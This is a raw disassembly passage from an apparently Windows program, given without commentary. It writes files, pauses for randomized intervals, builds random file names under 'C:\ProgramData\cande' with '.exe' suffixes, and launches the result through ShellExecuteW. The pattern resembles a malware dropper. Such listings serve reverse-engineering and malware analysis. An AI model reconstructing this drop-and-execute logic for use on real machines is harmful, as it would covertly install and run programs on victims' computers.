mov rcx, r14
je 0x14000cb95
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rax, [rbp + 0x430]
mov qword [rsp + 0x40], rax
lea rax, vtable.CVolMem.0
mov qword [rbp + 0x430], rax
mov rdx, qword [rbp + 0x448]
test rdx, rdx
je 0x14000cbf1
lea rcx, [rbp + 0x430]
mov rax, qword [rbp + 0x430]
call qword [rax + 0x18]
mov qword [rbp + 0x448], r13
mov qword [rbp + 0x458], r13
mov qword [rbp + 0x450], r13
mov qword [rbp + 0x430], r15
mov qword [rbp + 0x410], r15
cmp qword [0x140282010], 0
jne 0x14000cc36
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
movabs rax, 0x82f0e93d1f74e009
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
lea rax, vtable.CVolMem.0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xd0], 0x40
or ebx, 0x10
mov dword [rsp + 0x48], ebx
mov r9d, 0xa
lea r8, [rbp + 0xa0]
mov edx, 0x1f4
lea rcx, [0x140281c10]
mov rax, qword [0x140281c10]
call qword [rax + 0x30]
mov rax, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xb8]
test rax, rax
cmove rdx, r13
mov dword [rbp + 0x40], r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x40]
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
and ebx, 0xffffffef
mov dword [rsp + 0x48], ebx
lea rax, vtable.CVolMem.0
mov qword [rbp + 0xa0], rax
mov rdx, qword [rbp + 0xb8]
test rdx, rdx
je 0x14000cd4e
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0xa0]
call qword [rax + 0x18]
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xa0], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x140239810]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x6e0]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000cdaf
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000cdaf
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp + 0x6e0]
call fcn.140009560
cmp qword [0x140282010], 0
jne 0x14000ce02
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
movabs rax, 0x82f0e93d1f74e009
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
lea rax, vtable.CVolMem.0
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0x100], r13
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x108], 0x40
or ebx, 0x20
mov dword [rsp + 0x48], ebx
mov r9d, 0xa
lea r8, [rbp + 0xd8]
mov edx, 0x1f6
lea rcx, [0x140281c10]
mov rax, qword [0x140281c10]
call qword [rax + 0x30]
lea rdx, [rbp + 0xd8]
mov rcx, rdi
call fcn.14000e510
and ebx, 0xffffffdf
mov dword [rsp + 0x48], ebx
lea rax, vtable.CVolMem.0
mov qword [rbp + 0xd8], rax
mov rdx, qword [rbp + 0xf0]
test rdx, rdx
je 0x14000cefb
lea rcx, [rbp + 0xd8]
mov rax, qword [rbp + 0xd8]
call qword [rax + 0x18]
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0x100], r13
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0xd8], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x470]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x790]
call fcn.140015fc0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp + 0x738]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000cf73
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000cf73
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
lea rcx, [rbp + 0x738]
call fcn.140009560
nop
lea rcx, [rbp + 0x790]
call fcn.140009560
mov rdx, r12
mov rcx, rbx
call fcn.14000e510
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x42e1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea rax, vtable.CWString.0
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rsi, vtable.CVolMem.0
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], 0x40
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x58], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x58], rax
lea rax, [0x14023984c]
mov qword [rsp + 0x70], rax
lea r8, [rbp + 0x130]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x898]
call fcn.140015fc0
nop
lea r8, [rbp + 0x470]
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.140015fc0
nop
lea r8, str..exe_
mov rdx, rax
lea rcx, [rbp + 0x7e8]
call fcn.140016170
nop
mov r8, qword [rax + 0x18]
test r8, r8
jne 0x14000d0b5
cmp qword [rax + 0x48], r8
mov r8, r14
je 0x14000d0b5
mov r8, qword [rax + 0x38]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, [0x140239850]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x7e8]
call fcn.140009560
nop
lea rcx, [rbp + 0x840]
call fcn.140009560
nop
lea rcx, [rbp + 0x898]
call fcn.140009560
nop
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], rsi
mov rdx, qword [rbp - 0x70]
test rdx, rdx
je 0x14000d121
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r15
lea rcx, [rbp + 0x130]
call fcn.140009560
nop
lea rcx, [rbp + 0x470]
call fcn.140009560
jmp 0x14000da81
mov qword [rbp + 0x300], rdi
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], r13
mov qword [rbp + 0x310], r13
lea r12, vtable.CWString.0
mov qword [rbp + 0x300], r12
lea rax, [rbp + 0x320]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], r13
mov qword [rbp + 0x330], r13
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x348], r13
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x350], 0x40
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x350], 0xfe
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [0x140282010], 1
mov ecx, eax
call fcn.1401bc070
cmp qword [0x140282010], 0
jne 0x14000d21a
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
cdqe
cqo
and edx, 7
add rax, rdx
and eax, 7
sub rax, rdx
lea rdx, [rax + 0xc]
lea rcx, [rbp + 0x360]
call fcn.14000a7d0
nop
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x58], r12
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], 0x40
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x58], 0xfe
lea rcx, vtable.CWConstString.0
mov qword [rsp + 0x58], rcx
lea rcx, str.C:ProgramDatacande
mov qword [rsp + 0x70], rcx
mov r8, rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3b8]
call fcn.140015fc0
nop
lea r8, [0x14023985c]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.140016170
mov rbx, rax
lea rcx, [rbp + 0x300]
mov rdx, qword [rbp + 0x300]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x308], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x310], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x318], rcx
lea rcx, [rbp + 0x320]
mov rdx, qword [rbp + 0x320]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x320]
call fcn.140006cd0
nop
lea rax, [rbp + 0x430]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x430], rsi
mov rdx, qword [rbp + 0x448]
test rdx, rdx
je 0x14000d36b
lea rcx, [rbp + 0x430]
mov rax, qword [rbp + 0x430]
call qword [rax + 0x18]
mov qword [rbp + 0x448], r13
mov qword [rbp + 0x458], r13
mov qword [rbp + 0x450], r13
mov qword [rbp + 0x430], r15
mov qword [rbp + 0x410], r15
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x3d8], rsi
mov rdx, qword [rbp + 0x3f0]
test rdx, rdx
je 0x14000d3be
lea rcx, [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d8]
call qword [rax + 0x18]
mov qword [rbp + 0x3f0], r13
mov qword [rbp + 0x400], r13
mov qword [rbp + 0x3f8], r13
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x3b8], r15
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], rsi
mov rdx, qword [rbp - 0x70]
test rdx, rdx
je 0x14000d406
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r15
lea rax, [rbp + 0x380]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x380], rsi
mov rdx, qword [rbp + 0x398]
test rdx, rdx
je 0x14000d44c
lea rcx, [rbp + 0x380]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x18]
mov qword [rbp + 0x398], r13
mov qword [rbp + 0x3a8], r13
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x360], r15
mov rax, qword [rbp + 0x318]
test rax, rax
jne 0x14000d48e
mov rax, r14
cmp qword [rbp + 0x348], 0
cmovne rax, qword [rbp + 0x338]
mov rcx, rax
call fcn.140012d40
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x48], r12
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x98], 0x40
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x98], 0xfe
cmp qword [0x140282010], 0
jne 0x14000d518
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
cdqe
cqo
and edx, 7
add rax, rdx
and eax, 7
sub rax, rdx
lea rdx, [rax + 5]
lea rcx, [rbp + 0x1e8]
call fcn.14000a7d0
nop
mov r8, rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x240]
call fcn.140015fc0
nop
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xd0], 0x40
mov qword [rbp + 0xa0], rsi
mov rdx, qword [rax + 0x18]
test rdx, rdx
jne 0x14000d5b5
cmp qword [rax + 0x48], rdx
mov rdx, r14
je 0x14000d5b5
mov rdx, qword [rax + 0x38]
lea rcx, [rbp + 0xa0]
call fcn.140013da0
nop
lea rcx, [rbp + 0x8f0]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r8d, word [rbp + 0x8f4]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x18]
call fcn.14000db10
mov rdi, rax
lea rcx, [rbp + 0xd8]
call fcn.1400090d0
mov rbx, rax
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], 0x40
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x58], 0xfe
mov esi, 2
mov dword [rsp + 0x48], esi
lea rdx, [rsp + 0x58]
xor ecx, ecx
call fcn.140012a20
mov r8, rbx
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x190]
call fcn.140015fc0
nop
lea r8, [0x1402397c8]
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.140016170
mov rbx, rax
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.140013f50
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x3b8]
call fcn.140015fc0
nop
lea r8, str.__365
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000d6ea
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000d6ea
mov rcx, qword [rax + 0x38]
call fcn.140013070
nop
lea rax, [rbp + 0x430]
mov qword [rsp + 0x40], rax
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0x430], rbx
mov rdx, qword [rbp + 0x448]
test rdx, rdx
je 0x14000d727
lea rcx, [rbp + 0x430]
mov rax, qword [rbp + 0x430]
call qword [rax + 0x18]
mov qword [rbp + 0x448], r13
mov qword [rbp + 0x458], r13
mov qword [rbp + 0x450], r13
mov qword [rbp + 0x430], r15
mov qword [rbp + 0x410], r15
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x3d8], rbx
mov rdx, qword [rbp + 0x3f0]
test rdx, rdx
je 0x14000d77a
lea rcx, [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d8]
call qword [rax + 0x18]
mov qword [rbp + 0x3f0], r13
mov qword [rbp + 0x400], r13
mov qword [rbp + 0x3f8], r13
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x3b8], r15
lea rax, [rbp + 0x380]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x380], rbx
mov rdx, qword [rbp + 0x398]
test rdx, rdx
je 0x14000d7cd
lea rcx, [rbp + 0x380]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x18]
mov qword [rbp + 0x398], r13
mov qword [rbp + 0x3a8], r13
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x360], r15
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x1b0], rbx
mov rdx, qword [rbp + 0x1c8]
test rdx, rdx
je 0x14000d820
lea rcx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x1b0]
call qword [rax + 0x18]
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x190], r15
and esi, 0xfffffffd
mov dword [rsp + 0x48], esi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
lea rsi, vtable.CVolMem.0
mov qword [rsp + 0x78], rsi
mov rdx, qword [rbp - 0x70]
test rdx, rdx
je 0x14000d876
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r15
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0xf8], rsi
mov rdx, qword [rbp + 0x110]
test rdx, rdx
je 0x14000d8bc
lea rcx, [rbp + 0xf8]
mov rax, qword [rbp + 0xf8]
call qword [rax + 0x18]
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x118], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0xd8], r15
mov qword [rbp - 0x18], rsi
mov rdx, qword [rbp]
test rdx, rdx
je 0x14000d8f7
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 8], r13
mov qword [rbp - 0x18], r15
mov qword [rbp + 0xa0], rsi
mov rdx, qword [rbp + 0xb8]
test rdx, rdx
je 0x14000d92b
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0xa0]
call qword [rax + 0x18]
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xa0], r15
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x260], rsi
mov rdx, qword [rbp + 0x278]
test rdx, rdx
je 0x14000d977
lea rcx, [rbp + 0x260]
mov rax, qword [rbp + 0x260]
call qword [rax + 0x18]
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x288], r13
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x240], r15
lea rax, [rbp + 0x208]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x208], rsi
mov rdx, qword [rbp + 0x220]
test rdx, rdx
je 0x14000d9ca
lea rcx, [rbp + 0x208]
mov rax, qword [rbp + 0x208]
call qword [rax + 0x18]
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x68], rsi
mov rdx, qword [rbp + 0x80]
test rdx, rdx
je 0x14000da11
lea rcx, [rbp + 0x68]
mov rax, qword [rbp + 0x68]
call qword [rax + 0x18]
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x48], r15
lea rax, [rbp + 0x320]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x320], rsi
mov rdx, qword [rbp + 0x338]
test rdx, rdx
je 0x14000da5e
lea rcx, [rbp + 0x320]
mov rax, qword [rbp + 0x320]
call qword [rax + 0x18]
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x348], r13
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x300], r15
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x2c0], rsi
mov rdx, qword [rbp + 0x2d8]
test rdx, rdx
je 0x14000dab2
lea rcx, [rbp + 0x2c0]
mov r8, qword [rbp + 0x2c0]
call qword [r8 + 0x18]
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2e0], r13
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2a0], r15
mov eax, 1
mov rcx, qword [rbp + 0x900]
xor rcx, rsp
call fcn.1401b5190
lea r11, [rsp + 0xa20]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret